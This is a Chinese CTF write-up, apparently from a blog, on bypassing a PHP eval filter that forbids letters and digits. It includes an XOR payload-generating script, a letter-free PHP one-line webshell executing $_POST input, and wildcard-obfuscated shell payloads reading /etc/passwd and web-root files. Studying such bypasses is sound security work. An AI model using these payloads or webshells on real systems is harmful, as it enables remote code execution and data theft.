安恒9月赛babybypass复现|无字母数字的webshell思考

保证您更舒适的阅读体验和持续更新,本文已转移至我的个人博客,请您访问http://anemone.top/以确保您阅读的文章是最新版本,以及看到新的文章

一开始看这题满脑子想的都是用异或来做,结果发现没办法调用getflag函数,看了别人的wp才发现思路错了。

错误思路

毕竟这个思路也蛮清奇,大概说一下吧:

思考这一个题目

if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>135){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
function getFlag()
{
    echo "Flag";
}

code参数由正则过滤了大小写字母以及数字,那么我们可以通过符号异或构造payload。

以下脚本可以打印出符号异或得到的值,经过试验26个字母的大小写都可以通过这种方法得到:

def xor():
    arr=[chr(i) for i in range(ord('a'),ord('z'))]+[chr(i) for i in range(ord('A'),ord('Z'))]
    test=['`','~','!','@','%','^','*','(',')','-','+','{','}','[',']',':','<','>','.',',',';','|']
    for i in test:
        for j in test:
            res=chr(ord(i)^ord(j))
            if res in arr:
                print i,j,res
'''
[ < g
[ > e
] ) t
| : F
@ , l
[ : a
[ < g

'[[]|@[['^'<>):,:<'
'''


if __name__ == '__main__':
    xor()

可以看到 '[' ^'<' ='g', '['^'>'='e', ...

那么使用'[[]|@[['^'<>):,:<'就可以得到字符串'getFlag',下面就是怎么调用,想到 $_='getFlag';$_();等同于getFlag();', 那么使用$_='[[]|@[['^'<>):,:<';$_();就可以调用了,那么最后的payload就是code=$_='[[]|@[['^'<>):,:<';$_();

按照此原理,可以构造出一句话比如:

<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

回到题目

再看一下这道题目

<?php
// include 'flag.php';
// $code='[[]|@[['^'<>):,:<';
// echo $code.'()';
// @eval($code);
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){ //*
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
function getFlag()
{
    echo "Flag";
}
//$hint =  "php function getFlag() to get flag";
?>

在正则过滤那边,可以看到'$'和’_'都被过滤了,这直接导致了即使用上述方法得到了字符串,也没办法执行php的函数(这里纠正一下,php7中我们是可以通过('func_name')()在执行函数的,这样其实错误思路是可行的,甚至在无字母数字webshell之提高篇中,作者直接使用了取反字符串的方法构造了payload)。正确的做法使用php短标签是直接读文件,考虑如下php代码:

<?= `ls`?>

执行结果

1538795891202.png

可以看到,<? ?>是php的短标签,效果等同于:

<?php echo `ls` ?>

那么在eval中怎么用这个短标签呢?答案是先使用tag(?>)离开当前模式,再使用短标签,即eval(?><?= `ls`?>)

接下来就是怎么绕过正则了,bash里面用通配符绕过就好了,即

cat /etc/passwd #替换为
/???/??t /??c/p???w?

因此paylaod为code=?><?=`/???/??? /???/???/????/*`;?> 相当于code=?><?=` /bin/cat /var/www/html/*`;?>, 会发现php代码里面的源代码getflag那一部分的函数是是从/flag里面读取的,那么构造code=?><?=`/???/??? /????`;?>相当于code=?><?=` /bin/cat /flag`;?>即可。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 136,107评论 19 139
  • 我使用的是火狐浏览器 使用火狐浏览器的hackbar插件 如果有错误的地方希望大家多多指出,多谢多谢 WEB2 点...
    yangc随想阅读 54,725评论 11 16
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 13,541评论 2 22
  • Android 自定义View的各种姿势1 Activity的显示之ViewRootImpl详解 Activity...
    passiontim阅读 176,308评论 25 709
  • 出自《牵手情·婚姻的蓝图》李长安、冯志梅 1. 需要 【创2:18-20】 耶和华神说:“那人独居不好,我要为他造...
    JoshuaHuang阅读 3,775评论 0 0

友情链接更多精彩内容